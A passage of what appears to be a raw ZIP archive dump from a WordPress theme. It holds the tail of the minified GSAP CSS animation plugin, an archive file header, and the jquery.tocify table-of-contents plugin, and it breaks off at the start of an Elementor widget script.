window})()&&window.document&&(De=window,ze=De.document,Re=ze.documentElement,Be=Od("div")||{style:{}},Od("div"),dr=mr(dr),pr=dr+"Origin",Be.style.cssText="border-width:0;line-height:0;position:absolute;padding:0",Ye=!!mr("perspective"),Ie=Ee.core.reverting,Fe=1)}function Td(t){var e,r=Od("svg",this.ownerSVGElement&&this.ownerSVGElement.getAttribute("xmlns")||"http://www.w3.org/2000/svg"),i=this.parentNode,n=this.nextSibling,a=this.style.cssText;if(Re.appendChild(r),r.appendChild(this),this.style.display="block",t)try{e=this.getBBox(),this._gsapBBox=this.getBBox,this.getBBox=Td}catch(t){}else this._gsapBBox&&(e=this._gsapBBox());return i&&(n?i.insertBefore(this,n):i.appendChild(this)),Re.removeChild(r),this.style.cssText=a,e}function Ud(t,e){for(var r=e.length;r--;)if(t.hasAttribute(e[r]))return t.getAttribute(e[r])}function Vd(e){var r;try{r=e.getBBox()}catch(t){r=Td.call(e,!0)}return r&&(r.width||r.height)||e.getBBox===Td||(r=Td.call(e,!0)),!r||r.width||r.x||r.y?r:{x:+Ud(e,["x","cx","x1"])||0,y:+Ud(e,["y","cy","y1"])||0,width:0,height:0}}function Wd(t){return!(!t.getCTM||t.parentNode&&!t.ownerSVGElement||!Vd(t))}function Xd(t,e){if(e){var r=t.style;e in ar&&e!==pr&&(e=dr),r.removeProperty?("ms"!==e.substr(0,2)&&"webkit"!==e.substr(0,6)||(e="-"+e),r.removeProperty(e.replace(hr,"-$1").toLowerCase())):r.removeAttribute(e)}}function Yd(t,e,r,i,n,a){var s=new _e(t._pt,e,r,0,1,a?Ad:zd);return(t._pt=s).b=i,s.e=n,t._props.push(r),s}function _d(t,e,r,i){var n,a,s,o,u=parseFloat(r)||0,h=(r+"").trim().substr((u+"").length)||"px",l=Be.style,f=lr.test(e),c="svg"===t.tagName.toLowerCase(),d=(c?"client":"offset")+(f?"Width":"Height"),p="px"===i,_="%"===i;return i===h||!u||gr[i]||gr[h]?u:("px"===h||p||(u=_d(t,e,r,"px")),o=t.getCTM&&Wd(t),!_&&"%"!==h||!ar[e]&&!~e.indexOf("adius")?(l[f?"width":"height"]=100+(p?h:i),a=~e.indexOf("adius")||"em"===i&&t.appendChild&&!c?t:t.parentNode,o&&(a=(t.ownerSVGElement||{}).parentNode),a&&a!==ze&&a.appendChild||(a=ze.body),(s=a._gsap)&&_&&s.width&&f&&s.time===Rt.time&&!s.uncache?ia(u/s.width*100):(!_&&"%"!==h||vr[Pd(a,"display")]||(l.position=Pd(t,"position")),a===t&&(l.position="static"),a.appendChild(Be),n=Be[d],a.removeChild(Be),l.position="absolute",f&&_&&((s=fa(a)).time=Rt.time,s.width=a[d]),ia(p?n*u/100:n&&u?100/n*u:0))):(n=o?t.getBBox()[f?"width":"height"]:t[d],ia(_?u/n*100:u/100*n)))}function be(t,e,r,i){if(!r||"none"===r){var n=mr(e,t,1),a=n&&Pd(t,n,1);a&&a!==r?(e=n,r=a):"borderColor"===e&&(r=Pd(t,"borderTopColor"))}var s,o,u,h,l,f,c,d,p,_,m,g=new _e(this._pt,t.style,e,0,1,ue),v=0,y=0;if(g.b=r,g.e=i,r+="","auto"===(i+="")&&(t.style[e]=i,i=Pd(t,e)||i,t.style[e]=r),Fb(s=[r,i]),i=s[1],u=(r=s[0]).match(rt)||[],(i.match(rt)||[]).length){for(;o=rt.exec(i);)c=o[0],p=i.substring(v,o.index),l?l=(l+1)%5:"rgba("!==p.substr(-5)&&"hsla("!==p.substr(-5)||(l=1),c!==(f=u[y++]||"")&&(h=parseFloat(f)||0,m=f.substr((h+"").length),"="===c.charAt(1)&&(c=ka(h,c)+m),d=parseFloat(c),_=c.substr((d+"").length),v=rt.lastIndex-_.length,_||(_=_||q.units[e]||m,v===i.length&&(i+=_,g.e+=_)),m!==_&&(h=_d(t,e,f,_)||0),g._pt={_next:g._pt,p:p||1===y?p:",",s:h,c:d-h,m:l&&l<4||"zIndex"===e?Math.round:0});g.c=v<i.length?i.substring(v,i.length):""}else g.r="display"===e&&"none"===i?Ad:zd;return nt.test(i)&&(g.e=0),this._pt=g}function de(t){var e=t.split(" "),r=e[0],i=e[1]||"50%";return"top"!==r&&"bottom"!==r&&"left"!==i&&"right"!==i||(t=r,r=i,i=t),e[0]=Tr[r]||r,e[1]=Tr[i]||i,e.join(" ")}function ee(t,e){if(e.tween&&e.tween._time===e.tween._dur){var r,i,n,a=e.t,s=a.style,o=e.u,u=a._gsap;if("all"===o||!0===o)s.cssText="",i=1;else for(n=(o=o.split(",")).length;-1<--n;)r=o[n],ar[r]&&(i=1,r="transformOrigin"===r?pr:dr),Xd(a,r);i&&(Xd(a,dr),u&&(u.svg&&a.removeAttribute("transform"),kr(a,1),u.uncache=1,Kd(s)))}}function ie(t){return"matrix(1, 0, 0, 1, 0, 0)"===t||"none"===t||!t}function je(t){var e=Pd(t,dr);return ie(e)?wr:e.substr(7).match(et).map(ia)}function ke(t,e){var r,i,n,a,s=t._gsap||fa(t),o=t.style,u=je(t);return s.svg&&t.getAttribute("transform")?"1,0,0,1,0,0"===(u=[(n=t.transform.baseVal.consolidate().matrix).a,n.b,n.c,n.d,n.e,n.f]).join(",")?wr:u:(u!==wr||t.offsetParent||t===Re||s.svg||(n=o.display,o.display="block",(r=t.parentNode)&&t.offsetParent||(a=1,i=t.nextElementSibling,Re.appendChild(t)),u=je(t),n?o.display=n:Xd(t,"display"),a&&(i?r.insertBefore(t,i):r?r.appendChild(t):Re.removeChild(t))),e&&6<u.length?[u[0],u[1],u[4],u[5],u[12],u[13]]:u)}function le(t,e,r,i,n,a){var s,o,u,h=t._gsap,l=n||ke(t,!0),f=h.xOrigin||0,c=h.yOrigin||0,d=h.xOffset||0,p=h.yOffset||0,_=l[0],m=l[1],g=l[2],v=l[3],y=l[4],T=l[5],b=e.split(" "),w=parseFloat(b[0])||0,x=parseFloat(b[1])||0;r?l!==wr&&(o=_*v-m*g)&&(u=w*(-m/o)+x*(_/o)-(_*T-m*y)/o,w=w*(v/o)+x*(-g/o)+(g*T-v*y)/o,x=u):(w=(s=Vd(t)).x+(~b[0].indexOf("%")?w/100*s.width:w),x=s.y+(~(b[1]||b[0]).indexOf("%")?x/100*s.height:x)),i||!1!==i&&h.smooth?(y=w-f,T=x-c,h.xOffset=d+(y*_+T*g)-y,h.yOffset=p+(y*m+T*v)-T):h.xOffset=h.yOffset=0,h.xOrigin=w,h.yOrigin=x,h.smooth=!!i,h.origin=e,h.originIsAbsolute=!!r,t.style[pr]="0px 0px",a&&(Yd(a,h,"xOrigin",f,w),Yd(a,h,"yOrigin",c,x),Yd(a,h,"xOffset",d,h.xOffset),Yd(a,h,"yOffset",p,h.yOffset)),t.setAttribute("data-svg-origin",w+" "+x)}function oe(t,e,r){var i=Ya(e);return ia(parseFloat(e)+parseFloat(_d(t,"x",r+"px",i)))+i}function ve(t,e,i,n,a){var s,o,u=360,h=r(a),l=parseFloat(a)*(h&&~a.indexOf("rad")?sr:1)-n,f=n+l+"deg";return h&&("short"===(s=a.split("_")[1])&&(l%=u)!==l%180&&(l+=l<0?u:-u),"cw"===s&&l<0?l=(l+36e9)%u-~~(l/u)*u:"ccw"===s&&0<l&&(l=(l-36e9)%u-~~(l/u)*u)),t._pt=o=new _e(t._pt,e,i,n,l,wd),o.e=f,o.u="deg",t._props.push(i),o}function we(t,e){for(var r in e)t[r]=e[r];return t}function xe(t,e,r){var i,n,a,s,o,u,h,l=we({},r._gsap),f=r.style;for(n in l.svg?(a=r.getAttribute("transform"),r.setAttribute("transform",""),f[dr]=e,i=kr(r,1),Xd(r,dr),r.setAttribute("transform",a)):(a=getComputedStyle(r)[dr],f[dr]=e,i=kr(r,1),f[dr]=a),ar)(a=l[n])!==(s=i[n])&&"perspective,force3D,transformOrigin,svgOrigin".indexOf(n)<0&&(o=Ya(a)!==(h=Ya(s))?_d(r,n,a,h):parseFloat(a),u=parseFloat(s),t._pt=new _e(t._pt,i,n,o,u-o,vd),t._pt.u=h||0,t._props.push(n));we(i,l)}var De,ze,Re,Fe,Be,Le,Ie,Ye,qe=Bt.Power0,Ve=Bt.Power1,Ue=Bt.Power2,Xe=Bt.Power3,Ne=Bt.Power4,We=Bt.Linear,Qe=Bt.Quad,Ge=Bt.Cubic,Ke=Bt.Quart,Je=Bt.Quint,He=Bt.Strong,Ze=Bt.Elastic,$e=Bt.Back,tr=Bt.SteppedEase,er=Bt.Bounce,rr=Bt.Sine,ir=Bt.Expo,nr=Bt.Circ,ar={},sr=180/Math.PI,or=Math.PI/180,ur=Math.atan2,hr=/([A-Z])/g,lr=/(left|right|width|margin|padding|x)/i,fr=/[\s,\(]\S/,cr={autoAlpha:"opacity,visibility",scale:"scaleX,scaleY",alpha:"opacity"},dr="transform",pr=dr+"Origin",_r="O,Moz,ms,Ms,Webkit".split(","),mr=function _checkPropPrefix(t,e,r){var i=(e||Be).style,n=5;if(t in i&&!r)return t;for(t=t.charAt(0).toUpperCase()+t.substr(1);n--&&!(_r[n]+t in i););return n<0?null:(3===n?"ms":0<=n?_r[n]:"")+t},gr={deg:1,rad:1,turn:1},vr={grid:1,flex:1},yr=function _get(t,e,r,i){var n;return Fe||Sd(),e in cr&&"transform"!==e&&~(e=cr[e]).indexOf(",")&&(e=e.split(",")[0]),ar[e]&&"transform"!==e?(n=kr(t,i),n="transformOrigin"!==e?n[e]:n.svg?n.origin:Mr(Pd(t,pr))+" "+n.zOrigin+"px"):(n=t.style[e])&&"auto"!==n&&!i&&!~(n+"").indexOf("calc(")||(n=br[e]&&br[e](t,e,r)||Pd(t,e)||ga(t,e)||("opacity"===e?1:0)),r&&!~(n+"").trim().indexOf(" ")?_d(t,e,n,r)+r:n},Tr={top:"0%",bottom:"100%",left:"0%",right:"100%",center:"50%"},br={clearProps:function clearProps(t,e,r,i,n){if("isFromStart"!==n.data){var a=t._pt=new _e(t._pt,e,r,0,0,ee);return a.u=i,a.pr=-10,a.tween=n,t._props.push(r),1}}},wr=[1,0,0,1,0,0],xr={},kr=function _parseTransform(t,e){var r=t._gsap||new Vt(t);if("x"in r&&!e&&!r.uncache)return r;var i,n,a,s,o,u,h,l,f,c,d,p,_,m,g,v,y,T,b,w,x,k,M,O,P,A,C,S,E,D,z,R,F=t.style,B=r.scaleX<0,L="deg",I=getComputedStyle(t),Y=Pd(t,pr)||"0";return i=n=a=u=h=l=f=c=d=0,s=o=1,r.svg=!(!t.getCTM||!Wd(t)),I.translate&&("none"===I.translate&&"none"===I.scale&&"none"===I.rotate||(F[dr]=("none"!==I.translate?"translate3d("+(I.translate+" 0 0").split(" ").slice(0,3).join(", ")+") ":"")+("none"!==I.rotate?"rotate("+I.rotate+") ":"")+("none"!==I.scale?"scale("+I.scale.split(" ").join(",")+") ":"")+("none"!==I[dr]?I[dr]:"")),F.scale=F.rotate=F.translate="none"),m=ke(t,r.svg),r.svg&&(O=r.uncache?(P=t.getBBox(),Y=r.xOrigin-P.x+"px "+(r.yOrigin-P.y)+"px",""):!e&&t.getAttribute("data-svg-origin"),le(t,O||Y,!!O||r.originIsAbsolute,!1!==r.smooth,m)),p=r.xOrigin||0,_=r.yOrigin||0,m!==wr&&(T=m[0],b=m[1],w=m[2],x=m[3],i=k=m[4],n=M=m[5],6===m.length?(s=Math.sqrt(T*T+b*b),o=Math.sqrt(x*x+w*w),u=T||b?ur(b,T)*sr:0,(f=w||x?ur(w,x)*sr+u:0)&&(o*=Math.abs(Math.cos(f*or))),r.svg&&(i-=p-(p*T+_*w),n-=_-(p*b+_*x))):(R=m[6],D=m[7],C=m[8],S=m[9],E=m[10],z=m[11],i=m[12],n=m[13],a=m[14],h=(g=ur(R,E))*sr,g&&(O=k*(v=Math.cos(-g))+C*(y=Math.sin(-g)),P=M*v+S*y,A=R*v+E*y,C=k*-y+C*v,S=M*-y+S*v,E=R*-y+E*v,z=D*-y+z*v,k=O,M=P,R=A),l=(g=ur(-w,E))*sr,g&&(v=Math.cos(-g),z=x*(y=Math.sin(-g))+z*v,T=O=T*v-C*y,b=P=b*v-S*y,w=A=w*v-E*y),u=(g=ur(b,T))*sr,g&&(O=T*(v=Math.cos(g))+b*(y=Math.sin(g)),P=k*v+M*y,b=b*v-T*y,M=M*v-k*y,T=O,k=P),h&&359.9<Math.abs(h)+Math.abs(u)&&(h=u=0,l=180-l),s=ia(Math.sqrt(T*T+b*b+w*w)),o=ia(Math.sqrt(M*M+R*R)),g=ur(k,M),f=2e-4<Math.abs(g)?g*sr:0,d=z?1/(z<0?-z:z):0),r.svg&&(O=t.getAttribute("transform"),r.forceCSS=t.setAttribute("transform","")||!ie(Pd(t,dr)),O&&t.setAttribute("transform",O))),90<Math.abs(f)&&Math.abs(f)<270&&(B?(s*=-1,f+=u<=0?180:-180,u+=u<=0?180:-180):(o*=-1,f+=f<=0?180:-180)),e=e||r.uncache,r.x=i-((r.xPercent=i&&(!e&&r.xPercent||(Math.round(t.offsetWidth/2)===Math.round(-i)?-50:0)))?t.offsetWidth*r.xPercent/100:0)+"px",r.y=n-((r.yPercent=n&&(!e&&r.yPercent||(Math.round(t.offsetHeight/2)===Math.round(-n)?-50:0)))?t.offsetHeight*r.yPercent/100:0)+"px",r.z=a+"px",r.scaleX=ia(s),r.scaleY=ia(o),r.rotation=ia(u)+L,r.rotationX=ia(h)+L,r.rotationY=ia(l)+L,r.skewX=f+L,r.skewY=c+L,r.transformPerspective=d+"px",(r.zOrigin=parseFloat(Y.split(" ")[2])||0)&&(F[pr]=Mr(Y)),r.xOffset=r.yOffset=0,r.force3D=q.force3D,r.renderTransform=r.svg?Er:Ye?Sr:Or,r.uncache=0,r},Mr=function _firstTwoOnly(t){return(t=t.split(" "))[0]+" "+t[1]},Or=function _renderNon3DTransforms(t,e){e.z="0px",e.rotationY=e.rotationX="0deg",e.force3D=0,Sr(t,e)},Pr="0deg",Ar="0px",Cr=") ",Sr=function _renderCSSTransforms(t,e){var r=e||this,i=r.xPercent,n=r.yPercent,a=r.x,s=r.y,o=r.z,u=r.rotation,h=r.rotationY,l=r.rotationX,f=r.skewX,c=r.skewY,d=r.scaleX,p=r.scaleY,_=r.transformPerspective,m=r.force3D,g=r.target,v=r.zOrigin,y="",T="auto"===m&&t&&1!==t||!0===m;if(v&&(l!==Pr||h!==Pr)){var b,w=parseFloat(h)*or,x=Math.sin(w),k=Math.cos(w);w=parseFloat(l)*or,b=Math.cos(w),a=oe(g,a,x*b*-v),s=oe(g,s,-Math.sin(w)*-v),o=oe(g,o,k*b*-v+v)}_!==Ar&&(y+="perspective("+_+Cr),(i||n)&&(y+="translate("+i+"%, "+n+"%) "),!T&&a===Ar&&s===Ar&&o===Ar||(y+=o!==Ar||T?"translate3d("+a+", "+s+", "+o+") ":"translate("+a+", "+s+Cr),u!==Pr&&(y+="rotate("+u+Cr),h!==Pr&&(y+="rotateY("+h+Cr),l!==Pr&&(y+="rotateX("+l+Cr),f===Pr&&c===Pr||(y+="skew("+f+", "+c+Cr),1===d&&1===p||(y+="scale("+d+", "+p+Cr),g.style[dr]=y||"translate(0, 0)"},Er=function _renderSVGTransforms(t,e){var r,i,n,a,s,o=e||this,u=o.xPercent,h=o.yPercent,l=o.x,f=o.y,c=o.rotation,d=o.skewX,p=o.skewY,_=o.scaleX,m=o.scaleY,g=o.target,v=o.xOrigin,y=o.yOrigin,T=o.xOffset,b=o.yOffset,w=o.forceCSS,x=parseFloat(l),k=parseFloat(f);c=parseFloat(c),d=parseFloat(d),(p=parseFloat(p))&&(d+=p=parseFloat(p),c+=p),c||d?(c*=or,d*=or,r=Math.cos(c)*_,i=Math.sin(c)*_,n=Math.sin(c-d)*-m,a=Math.cos(c-d)*m,d&&(p*=or,s=Math.tan(d-p),n*=s=Math.sqrt(1+s*s),a*=s,p&&(s=Math.tan(p),r*=s=Math.sqrt(1+s*s),i*=s)),r=ia(r),i=ia(i),n=ia(n),a=ia(a)):(r=_,a=m,i=n=0),(x&&!~(l+"").indexOf("px")||k&&!~(f+"").indexOf("px"))&&(x=_d(g,"x",l,"px"),k=_d(g,"y",f,"px")),(v||y||T||b)&&(x=ia(x+v-(v*r+y*n)+T),k=ia(k+y-(v*i+y*a)+b)),(u||h)&&(s=g.getBBox(),x=ia(x+u/100*s.width),k=ia(k+h/100*s.height)),s="matrix("+r+","+i+","+n+","+a+","+x+","+k+")",g.setAttribute("transform",s),w&&(g.style[dr]=s)};ha("padding,margin,Width,Radius",function(e,r){var t="Right",i="Bottom",n="Left",o=(r<3?["Top",t,i,n]:["Top"+n,"Top"+t,i+t,i+n]).map(function(t){return r<2?e+t:"border"+t+e});br[1<r?"border"+e:e]=function(e,t,r,i,n){var a,s;if(arguments.length<4)return a=o.map(function(t){return yr(e,t,r)}),5===(s=a.join(" ")).split(a[0]).length?a[0]:s;a=(i+"").split(" "),s={},o.forEach(function(t,e){return s[t]=a[e]=a[e]||a[(e-1)/2|0]}),e.init(t,s,n)}});var Dr,zr,Rr,Fr={name:"css",register:Sd,targetTest:function targetTest(t){return t.style&&t.nodeType},init:function init(t,e,i,n,a){var s,o,u,h,l,f,c,d,p,_,m,g,v,y,T,b,w=this._props,x=t.style,k=i.vars.startAt;for(c in Fe||Sd(),this.styles=this.styles||Md(t),b=this.styles.props,this.tween=i,e)if("autoRound"!==c&&(o=e[c],!pt[c]||!ac(c,e,i,n,t,a)))if(l=typeof o,f=br[c],"function"===l&&(l=typeof(o=o.call(i,n,t,a))),"string"===l&&~o.indexOf("random(")&&(o=ob(o)),f)f(this,t,c,o,i)&&(T=1);else if("--"===c.substr(0,2))s=(getComputedStyle(t).getPropertyValue(c)+"").trim(),o+="",Dt.lastIndex=0,Dt.test(s)||(d=Ya(s),p=Ya(o)),p?d!==p&&(s=_d(t,c,s,p)+p):d&&(o+=d),this.add(x,"setProperty",s,o,n,a,0,0,c),w.push(c),b.push(c,0,x[c]);else if("undefined"!==l){if(k&&c in k?(s="function"==typeof k[c]?k[c].call(i,n,t,a):k[c],r(s)&&~s.indexOf("random(")&&(s=ob(s)),Ya(s+"")||(s+=q.units[c]||Ya(yr(t,c))||""),"="===(s+"").charAt(1)&&(s=yr(t,c))):s=yr(t,c),h=parseFloat(s),(_="string"===l&&"="===o.charAt(1)&&o.substr(0,2))&&(o=o.substr(2)),u=parseFloat(o),c in cr&&("autoAlpha"===c&&(1===h&&"hidden"===yr(t,"visibility")&&u&&(h=0),b.push("visibility",0,x.visibility),Yd(this,x,"visibility",h?"inherit":"hidden",u?"inherit":"hidden",!u)),"scale"!==c&&"transform"!==c&&~(c=cr[c]).indexOf(",")&&(c=c.split(",")[0])),m=c in ar)if(this.styles.save(c),g||((v=t._gsap).renderTransform&&!e.parseTransform||kr(t,e.parseTransform),y=!1!==e.smoothOrigin&&v.smooth,(g=this._pt=new _e(this._pt,x,dr,0,1,v.renderTransform,v,0,-1)).dep=1),"scale"===c)this._pt=new _e(this._pt,v,"scaleY",v.scaleY,(_?ka(v.scaleY,_+u):u)-v.scaleY||0,vd),this._pt.u=0,w.push("scaleY",c),c+="X";else{if("transformOrigin"===c){b.push(pr,0,x[pr]),o=de(o),v.svg?le(t,o,0,y,0,this):((p=parseFloat(o.split(" ")[2])||0)!==v.zOrigin&&Yd(this,v,"zOrigin",v.zOrigin,p),Yd(this,x,c,Mr(s),Mr(o)));continue}if("svgOrigin"===c){le(t,o,1,y,0,this);continue}if(c in xr){ve(this,v,c,h,_?ka(h,_+o):o);continue}if("smoothOrigin"===c){Yd(this,v,"smooth",v.smooth,o);continue}if("force3D"===c){v[c]=o;continue}if("transform"===c){xe(this,o,t);continue}}else c in x||(c=mr(c)||c);if(m||(u||0===u)&&(h||0===h)&&!fr.test(o)&&c in x)u=u||0,(d=(s+"").substr((h+"").length))!==(p=Ya(o)||(c in q.units?q.units[c]:d))&&(h=_d(t,c,s,p)),this._pt=new _e(this._pt,m?v:x,c,h,(_?ka(h,_+u):u)-h,m||"px"!==p&&"zIndex"!==c||!1===e.autoRound?vd:yd),this._pt.u=p||0,d!==p&&"%"!==p&&(this._pt.b=s,this._pt.r=xd);else if(c in x)be.call(this,t,c,s,_?_+o:o);else if(c in t)this.add(t,c,s||t[c],_?_+o:o,n,a);else if("parseTransform"!==c){Q(c,o);continue}m||(c in x?b.push(c,0,x[c]):b.push(c,1,s||t[c])),w.push(c)}T&&pe(this)},render:function render(t,e){if(e.tween._time||!Ie())for(var r=e._pt;r;)r.r(t,r.d),r=r._next;else e.styles.revert()},get:yr,aliases:cr,getSetter:function getSetter(t,e,r){var i=cr[e];return i&&i.indexOf(",")<0&&(e=i),e in ar&&e!==pr&&(t._gsap.x||yr(t,"x"))?r&&Le===r?"scale"===e?Ed:Dd:(Le=r||{})&&("scale"===e?Fd:Gd):t.style&&!u(t.style[e])?Bd:~e.indexOf("-")?Cd:ne(t,e)},core:{_removeProperty:Xd,_getMatrix:ke}};Ee.utils.checkPrefix=mr,Ee.core.getStyleSaver=Md,Rr=ha((Dr="x,y,z,scale,scaleX,scaleY,xPercent,yPercent")+","+(zr="rotation,rotationX,rotationY,skewX,skewY")+",transform,transformOrigin,svgOrigin,force3D,smoothOrigin,transformPerspective",function(t){ar[t]=1}),ha(zr,function(t){q.units[t]="deg",xr[t]=1}),cr[Rr[13]]=Dr+","+zr,ha("0:translateX,1:translateY,2:translateZ,8:rotate,8:rotationZ,8:rotateZ,9:rotateX,10:rotateY",function(t){var e=t.split(":");cr[e[1]]=Rr[e[0]]}),ha("x,y,z,top,right,bottom,left,width,height,fontSize,padding,margin,perspective",function(t){q.units[t]="px"}),Ee.registerPlugin(Fr);var Br=Ee.registerPlugin(Fr)||Ee,Lr=Br.core.Tween;e.Back=$e,e.Bounce=er,e.CSSPlugin=Fr,e.Circ=nr,e.Cubic=Ge,e.Elastic=Ze,e.Expo=ir,e.Linear=We,e.Power0=qe,e.Power1=Ve,e.Power2=Ue,e.Power3=Xe,e.Power4=Ne,e.Quad=Qe,e.Quart=Ke,e.Quint=Je,e.Sine=rr,e.SteppedEase=tr,e.Strong=He,e.TimelineLite=Xt,e.TimelineMax=Xt,e.TweenLite=Zt,e.TweenMax=Lr,e.default=Br,e.gsap=Br;if (typeof(window)==="undefined"||window!==e){Object.defineProperty(e,"__esModule",{value:!0})} else {delete e.default}});

PK     N\!  !    js/penci-el-toc.jsnu [        /*! jquery.tocify - v1.9.0 - 2013-10-01 
* http://gregfranko.com/jquery.tocify.js/
* Copyright (c) 2013 Greg Franko; Licensed MIT*/
(function (e) { "use strict"; e(window.jQuery, window, document) })(function (e, t, s) { "use strict"; var i = "tocify", o = "tocify-focus", n = "tocify-hover", a = "tocify-hide", l = "tocify-header", h = "." + l, r = "tocify-subheader", d = "." + r, c = "tocify-item", f = "." + c, u = "tocify-extend-page", p = "." + u; e.widget("toc.tocify", { version: "1.9.0", options: { context: "body", ignoreSelector: null, selectors: "h1, h2, h3", showAndHide: !0, showEffect: "slideDown", showEffectSpeed: "medium", hideEffect: "slideUp", hideEffectSpeed: "medium", smoothScroll: !0, smoothScrollSpeed: "medium", scrollTo: 0, showAndHideOnScroll: !0, highlightOnScroll: !0, highlightOffset: 40, theme: "bootstrap", extendPage: !0, extendPageOffset: 100, history: !0, scrollHistory: !1, hashGenerator: "compact", highlightDefault: !0 }, _create: function () { var s = this; s.extendPageScroll = !0, s.items = [], s._generateToc(), s._addCSSClasses(), s.webkit = function () { for (var e in t) if (e && -1 !== e.toLowerCase().indexOf("webkit")) return !0; return !1 }(), s._setEventHandlers(), e(t).load(function () { s._setActiveElement(!0), e("html, body").promise().done(function () { setTimeout(function () { s.extendPageScroll = !1 }, 0) }) }) }, _generateToc: function () { var t, s, o = this, n = o.options.ignoreSelector; return t = -1 !== this.options.selectors.indexOf(",") ? e(this.options.context).find(this.options.selectors.replace(/ /g, "").substr(0, this.options.selectors.indexOf(","))) : e(this.options.context).find(this.options.selectors.replace(/ /g, "")), t.length ? (o.element.addClass(i), t.each(function (t) { e(this).is(n) || (s = e("<ul/>", { id: l + t, "class": l }).append(o._nestElements(e(this), t)), o.element.append(s), e(this).nextUntil(this.nodeName.toLowerCase()).each(function () { 0 === e(this).find(o.options.selectors).length ? e(this).filter(o.options.selectors).each(function () { e(this).is(n) || o._appendSubheaders.call(this, o, s) }) : e(this).find(o.options.selectors).each(function () { e(this).is(n) || o._appendSubheaders.call(this, o, s) }) })) }), undefined) : (o.element.addClass(a), undefined) }, _setActiveElement: function (e) { var s = this, i = t.location.hash.substring(1), o = s.element.find('li[data-unique="' + i + '"]'); return i.length ? (s.element.find("." + s.focusClass).removeClass(s.focusClass), o.addClass(s.focusClass), s.options.showAndHide && o.click()) : (s.element.find("." + s.focusClass).removeClass(s.focusClass), !i.length && e && s.options.highlightDefault && s.element.find(f).first().addClass(s.focusClass)), s }, _nestElements: function (t, s) { var i, o, n; return i = e.grep(this.items, function (e) { return e === t.text() }), i.length ? this.items.push(t.text() + s) : this.items.push(t.text()), n = this._generateHashValue(i, t, s), o = e("<li/>", { "class": c, "data-unique": n }).append(e("<a/>", { text: t.text() })), t.before(e("<div/>", { name: n, "data-unique": n })), o }, _generateHashValue: function (e, t, s) { var i = "", o = this.options.hashGenerator; if ("pretty" === o) { for (i = t.text().toLowerCase().replace(/\s/g, "-"); i.indexOf("--") > -1;)i = i.replace(/--/g, "-"); for (; i.indexOf(":-") > -1;)i = i.replace(/:-/g, "-") } else i = "function" == typeof o ? o(t.text(), t) : t.text().replace(/\s/g, ""); return e.length && (i += "" + s), i }, _appendSubheaders: function (t, s) { var i = e(this).index(t.options.selectors), o = e(t.options.selectors).eq(i - 1), n = +e(this).prop("tagName").charAt(1), a = +o.prop("tagName").charAt(1); a > n ? t.element.find(d + "[data-tag=" + n + "]").last().append(t._nestElements(e(this), i)) : n === a ? s.find(f).last().after(t._nestElements(e(this), i)) : s.find(f).last().after(e("<ul/>", { "class": r, "data-tag": n })).next(d).append(t._nestElements(e(this), i)) }, _setEventHandlers: function () { var i = this; this.element.on("click.tocify", "li", function () { if (i.options.history && (t.location.hash = e(this).attr("data-unique")), i.element.find("." + i.focusClass).removeClass(i.focusClass), e(this).addClass(i.focusClass), i.options.showAndHide) { var s = e('li[data-unique="' + e(this).attr("data-unique") + '"]'); i._triggerShow(s) } i._scrollTo(e(this)) }), this.element.find("li").on({ "mouseenter.tocify": function () { e(this).addClass(i.hoverClass), e(this).css("cursor", "pointer") }, "mouseleave.tocify": function () { "bootstrap" !== i.options.theme && e(this).removeClass(i.hoverClass) } }), (i.options.extendPage || i.options.highlightOnScroll || i.options.scrollHistory || i.options.showAndHideOnScroll) && e(t).on("scroll.tocify", function () { e("html, body").promise().done(function () { var o, n, a, l, h = e(t).scrollTop(), r = e(t).height(), d = e(s).height(), c = e("body")[0].scrollHeight; if (i.options.extendPage && (i.webkit && h >= c - r - i.options.extendPageOffset || !i.webkit && r + h > d - i.options.extendPageOffset) && !e(p).length) { if (n = e('div[data-unique="' + e(f).last().attr("data-unique") + '"]'), !n.length) return; a = n.offset().top, e(i.options.context).append(e("<div />", { "class": u, height: Math.abs(a - h) + "px", "data-unique": u })), i.extendPageScroll && (l = i.element.find("li.active"), i._scrollTo(e('div[data-unique="' + l.attr("data-unique") + '"]'))) } setTimeout(function () { var s, n = null, a = null, l = e(i.options.context).find("div[data-unique]"); l.each(function (t) { var s = Math.abs((e(this).next().length ? e(this).next() : e(this)).offset().top - h - i.options.highlightOffset); return null == n || n > s ? (n = s, a = t, undefined) : !1 }), s = e(l[a]).attr("data-unique"), o = e('li[data-unique="' + s + '"]'), i.options.highlightOnScroll && o.length && (i.element.find("." + i.focusClass).removeClass(i.focusClass), o.addClass(i.focusClass)), i.options.scrollHistory && t.location.hash !== "#" + s && t.location.replace("#" + s), i.options.showAndHideOnScroll && i.options.showAndHide && i._triggerShow(o, !0) }, 0) }) }) }, show: function (t) { var s = this; if (!t.is(":visible")) switch (t.find(d).length || t.parent().is(h) || t.parent().is(":visible") ? t.children(d).length || t.parent().is(h) || (t = t.closest(d)) : t = t.parents(d).add(t), s.options.showEffect) { case "none": t.show(); break; case "show": t.show(s.options.showEffectSpeed); break; case "slideDown": t.slideDown(s.options.showEffectSpeed); break; case "fadeIn": t.fadeIn(s.options.showEffectSpeed); break; default: t.show() }return t.parent().is(h) ? s.hide(e(d).not(t)) : s.hide(e(d).not(t.closest(h).find(d).not(t.siblings()))), s }, hide: function (e) { var t = this; switch (t.options.hideEffect) { case "none": e.hide(); break; case "hide": e.hide(t.options.hideEffectSpeed); break; case "slideUp": e.slideUp(t.options.hideEffectSpeed); break; case "fadeOut": e.fadeOut(t.options.hideEffectSpeed); break; default: e.hide() }return t }, _triggerShow: function (e, t) { var s = this; return e.parent().is(h) || e.next().is(d) ? s.show(e.next(d), t) : e.parent().is(d) && s.show(e.parent(), t), s }, _addCSSClasses: function () { return "jqueryui" === this.options.theme ? (this.focusClass = "ui-state-default", this.hoverClass = "ui-state-hover", this.element.addClass("ui-widget").find(".toc-title").addClass("ui-widget-header").end().find("li").addClass("ui-widget-content")) : "bootstrap" === this.options.theme ? (this.element.find(h + "," + d).addClass("nav nav-list"), this.focusClass = "active") : (this.focusClass = o, this.hoverClass = n), this }, setOption: function () { e.Widget.prototype._setOption.apply(this, arguments) }, setOptions: function () { e.Widget.prototype._setOptions.apply(this, arguments) }, _scrollTo: function (t) { var s = this, i = s.options.smoothScroll || 0, o = s.options.scrollTo, n = e('div[data-unique="' + t.attr("data-unique") + '"]'); return n.length ? (e("html, body").promise().done(function () { e("html, body").animate({ scrollTop: n.offset().top - (e.isFunction(o) ? o.call() : o) + "px" }, { duration: i }) }), s) : s } }) });

( function( $, elementor ) {

	'use strict';

	var widgetTableOfContent = function( $scope, $ ) {

